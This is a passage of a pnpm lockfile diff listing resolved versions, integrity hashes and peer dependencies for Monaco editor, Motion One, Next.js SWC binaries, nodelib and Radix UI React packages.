1.4.0(monaco-editor@0.31.0) + monaco-editor: 0.31.0 + prop-types: 15.8.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@monaco-editor/react@4.4.5(monaco-editor@0.31.0)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-IImtzU7sRc66OOaQVCG+5PFHkSWnnhrUWGBuH6zNmH2h0YgmAhcjHZQc/6MY9JWEbUtVF1WPBMJ9u1XuFbRrVA==} + peerDependencies: + monaco-editor: '>= 0.25.0 < 1' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@monaco-editor/loader': 1.4.0(monaco-editor@0.31.0) + monaco-editor: 0.31.0 + prop-types: 15.8.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@motionone/animation@10.16.3: + resolution: {integrity: sha512-QUGWpLbMFLhyqKlngjZhjtxM8IqiJQjLK0DF+XOF6od9nhSvlaeEpOY/UMCRVcZn/9Tr2rZO22EkuCIjYdI74g==} + dependencies: + '@motionone/easing': 10.16.3 + '@motionone/types': 10.16.3 + '@motionone/utils': 10.16.3 + tslib: 2.6.2 + dev: false + + /@motionone/dom@10.12.0: + resolution: {integrity: sha512-UdPTtLMAktHiqV0atOczNYyDd/d8Cf5fFsd1tua03PqTwwCe/6lwhLSQ8a7TbnQ5SN0gm44N1slBfj+ORIhrqw==} + dependencies: + '@motionone/animation': 10.16.3 + '@motionone/generators': 10.16.4 + '@motionone/types': 10.16.3 + '@motionone/utils': 10.16.3 + hey-listen: 1.0.8 + tslib: 2.6.2 + dev: false + + /@motionone/easing@10.16.3: + resolution: {integrity: sha512-HWTMZbTmZojzwEuKT/xCdvoMPXjYSyQvuVM6jmM0yoGU6BWzsmYMeB4bn38UFf618fJCNtP9XeC/zxtKWfbr0w==} + dependencies: + '@motionone/utils': 10.16.3 + tslib: 2.6.2 + dev: false + + /@motionone/generators@10.16.4: + resolution: {integrity: sha512-geFZ3w0Rm0ZXXpctWsSf3REGywmLLujEjxPYpBR0j+ymYwof0xbV6S5kGqqsDKgyWKVWpUInqQYvQfL6fRbXeg==} + dependencies: + '@motionone/types': 10.16.3 + '@motionone/utils': 10.16.3 + tslib: 2.6.2 + dev: false + + /@motionone/types@10.16.3: + resolution: {integrity: sha512-W4jkEGFifDq73DlaZs3HUfamV2t1wM35zN/zX7Q79LfZ2sc6C0R1baUHZmqc/K5F3vSw3PavgQ6HyHLd/MXcWg==} + dev: false + + /@motionone/utils@10.16.3: + resolution: {integrity: sha512-WNWDksJIxQkaI9p9Z9z0+K27xdqISGNFy1SsWVGaiedTHq0iaT6iZujby8fT/ZnZxj1EOaxJtSfUPCFNU5CRoA==} + dependencies: + '@motionone/types': 10.16.3 + hey-listen: 1.0.8 + tslib: 2.6.2 + dev: false + + /@n1ru4l/push-pull-async-iterable-iterator@3.2.0: + resolution: {integrity: sha512-3fkKj25kEjsfObL6IlKPAlHYPq/oYwUkkQ03zsTTiDjD7vg/RxjdiLeCydqtxHZP0JgsXL3D/X5oAkMGzuUp/Q==} + engines: {node: '>=12'} + dev: false + + /@next/env@14.0.3: + resolution: {integrity: sha512-7xRqh9nMvP5xrW4/+L0jgRRX+HoNRGnfJpD+5Wq6/13j3dsdzxO3BCXn7D3hMqsDb+vjZnJq+vI7+EtgrYZTeA==} + dev: false + + /@next/swc-darwin-arm64@14.0.3: + resolution: {integrity: sha512-64JbSvi3nbbcEtyitNn2LEDS/hcleAFpHdykpcnrstITFlzFgB/bW0ER5/SJJwUPj+ZPY+z3e+1jAfcczRLVGw==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@next/swc-darwin-x64@14.0.3: + resolution: {integrity: sha512-RkTf+KbAD0SgYdVn1XzqE/+sIxYGB7NLMZRn9I4Z24afrhUpVJx6L8hsRnIwxz3ERE2NFURNliPjJ2QNfnWicQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-arm64-gnu@14.0.3: + resolution: {integrity: sha512-3tBWGgz7M9RKLO6sPWC6c4pAw4geujSwQ7q7Si4d6bo0l6cLs4tmO+lnSwFp1Tm3lxwfMk0SgkJT7EdwYSJvcg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-arm64-musl@14.0.3: + resolution: {integrity: sha512-v0v8Kb8j8T23jvVUWZeA2D8+izWspeyeDGNaT2/mTHWp7+37fiNfL8bmBWiOmeumXkacM/AB0XOUQvEbncSnHA==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-x64-gnu@14.0.3: + resolution: {integrity: sha512-VM1aE1tJKLBwMGtyBR21yy+STfl0MapMQnNrXkxeyLs0GFv/kZqXS5Jw/TQ3TSUnbv0QPDf/X8sDXuMtSgG6eg==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-linux-x64-musl@14.0.3: + resolution: {integrity: sha512-64EnmKy18MYFL5CzLaSuUn561hbO1Gk16jM/KHznYP3iCIfF9e3yULtHaMy0D8zbHfxset9LTOv6cuYKJgcOxg==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-arm64-msvc@14.0.3: + resolution: {integrity: sha512-WRDp8QrmsL1bbGtsh5GqQ/KWulmrnMBgbnb+59qNTW1kVi1nG/2ndZLkcbs2GX7NpFLlToLRMWSQXmPzQm4tog==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-ia32-msvc@14.0.3: + resolution: {integrity: sha512-EKffQeqCrj+t6qFFhIFTRoqb2QwX1mU7iTOvMyLbYw3QtqTw9sMwjykyiMlZlrfm2a4fA84+/aeW+PMg1MjuTg==} + engines: {node: '>= 10'} + cpu: [ia32] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@next/swc-win32-x64-msvc@14.0.3: + resolution: {integrity: sha512-ERhKPSJ1vQrPiwrs15Pjz/rvDHZmkmvbf/BjPN/UCOI++ODftT0GtasDPi0j+y6PPJi5HsXw+dpRaXUaw4vjuQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@nodelib/fs.scandir@2.1.5: + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + dev: false + + /@nodelib/fs.stat@2.0.5: + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + dev: false + + /@nodelib/fs.walk@1.2.8: + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.15.0 + dev: false + + /@panva/hkdf@1.1.1: + resolution: {integrity: sha512-dhPeilub1NuIG0X5Kvhh9lH4iW3ZsHlnzwgwbOlgwQ2wG1IqFzsgHqmKPk3WzsdWAeaxKJxgM0+W433RmN45GA==} + dev: false + + /@radix-ui/primitive@1.0.1: + resolution: {integrity: sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw==} + dependencies: + '@babel/runtime': 7.23.5 + dev: false + + /@radix-ui/react-arrow@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-arrow@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-collection@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-3SzW+0PW7yBBoQlT8wNcGtaxaD0XSu0uLUFgrtHY08Acx05TaHaOmVLR73c0j/cqpDy53KBMO7s0dx2wmOIDIA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-collection@1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-3SzW+0PW7yBBoQlT8wNcGtaxaD0XSu0uLUFgrtHY08Acx05TaHaOmVLR73c0j/cqpDy53KBMO7s0dx2wmOIDIA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-compose-refs@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-compose-refs@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-context@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-context@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-dialog@1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-GjWJX/AUpB703eEBanuBnIWdIXg6NvJFCXcNlSZk4xdszCdhrJgBoUd1cGk67vFO+WdA2pfI/plOpqz/5GUP6Q==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-focus-guards': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-focus-scope': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + aria-hidden: 1.2.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-remove-scroll: 2.5.5(@types/react@18.2.7)(react@17.0.2) + dev: false + + /@radix-ui/react-direction@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-RXcvnXgyvYvBEOhCBuddKecVkoMiI10Jcm5cTI7abJRAHYfFxeu+FBQs/DvdxSYucxR5mna0dNsL6QFlds5TMA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-direction@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-RXcvnXgyvYvBEOhCBuddKecVkoMiI10Jcm5cTI7abJRAHYfFxeu+FBQs/DvdxSYucxR5mna0dNsL6QFlds5TMA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-dismissable-layer@1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-aJeDjQhywg9LBu2t/At58hCvr7pEm0o2Ke1x33B+MhjNmmZ17sy4KImo0KPLgsnc/zN7GPdce8Cnn0SWvwZO7g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-escape-keydown': 1.0.3(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-dismissable-layer@1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-aJeDjQhywg9LBu2t/At58hCvr7pEm0o2Ke1x33B+MhjNmmZ17sy4KImo0KPLgsnc/zN7GPdce8Cnn0SWvwZO7g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-use-escape-keydown': 1.0.3(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-dropdown-menu@2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-i6TuFOoWmLWq+M/eCLGd/bQ2HfAX1RJgvrBQ6AQLmzfvsLdefxbWu8G9zczcPFfcSPehz9GcpF6K9QYreFV8hA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-menu': 2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-dropdown-menu@2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-i6TuFOoWmLWq+M/eCLGd/bQ2HfAX1RJgvrBQ6AQLmzfvsLdefxbWu8G9zczcPFfcSPehz9GcpF6K9QYreFV8hA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-menu': 2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-use-controllable-state': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-focus-guards@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-Rect2dWbQ8waGzhMavsIbmSVCgYxkXLxxR3ZvCX79JOglzdEy4JXMb98lq4hPxUbLr77nP0UOGf4rcMU+s1pUA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-focus-guards@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-Rect2dWbQ8waGzhMavsIbmSVCgYxkXLxxR3ZvCX79JOglzdEy4JXMb98lq4hPxUbLr77nP0UOGf4rcMU+s1pUA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-focus-scope@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-sL04Mgvf+FmyvZeYfNu1EPAaaxD+aw7cYeIB9L9Fvq8+urhltTRaEo5ysKOpHuKPclsZcSUMKlN05x4u+CINpA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@radix-ui/react-focus-scope@1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-sL04Mgvf+FmyvZeYfNu1EPAaaxD+aw7cYeIB9L9Fvq8+urhltTRaEo5ysKOpHuKPclsZcSUMKlN05x4u+CINpA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@radix-ui/react-id@1.0.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-tI7sT/kqYp8p96yGWY1OAnLHrqDgzHefRBKQ2YAkBS5ja7QLcZ9Z/uY7bEjPUatf8RomoXM8/1sMj1IJaE5UzQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /@radix-ui/react-id@1.0.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-tI7sT/kqYp8p96yGWY1OAnLHrqDgzHefRBKQ2YAkBS5ja7QLcZ9Z/uY7bEjPUatf8RomoXM8/1sMj1IJaE5UzQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/react-use-layout-effect': 1.0.1(@types/react@18.2.7)(react@18.2.0) + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /@radix-ui/react-menu@2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-BVkFLS+bUC8HcImkRKPSiVumA1VPOOEC5WBMiT+QAVsPzW1FJzI9KnqgGxVDPBcql5xXrHkD3JOVoXWEXD8SYA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 + react-dom: ^16.8 || ^17.0 || ^18.0 + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + dependencies: + '@babel/runtime': 7.23.5 + '@radix-ui/primitive': 1.0.1 + '@radix-ui/react-collection': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-compose-refs': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-context': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-direction': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-dismissable-layer': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-focus-guards': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-focus-scope': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-id': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-popper': 1.1.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-portal': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-presence': 1.0.1(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-primitive': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-roving-focus': 1.0.4(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@radix-ui/react-use-callback-ref': 1.0.1(@types/react@18.2.7)(react@17.0.2) + '@types/react': 18.2.7 + '@types/react-dom': 18.2.4 + aria-hidden: 1.2.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-remove-scroll: 2.5.5(@types/react@18.2.7)(react@17.0.2) + dev: false + + /@radix-ui/react-menu@2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-BVkFLS+bUC8HcImkRKPSiVumA1VPOOEC5WBMiT+QAVsPzW1FJzI9KnqgGxVDPBcql5xXrHkD3JOVoXWEXD8SYA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || 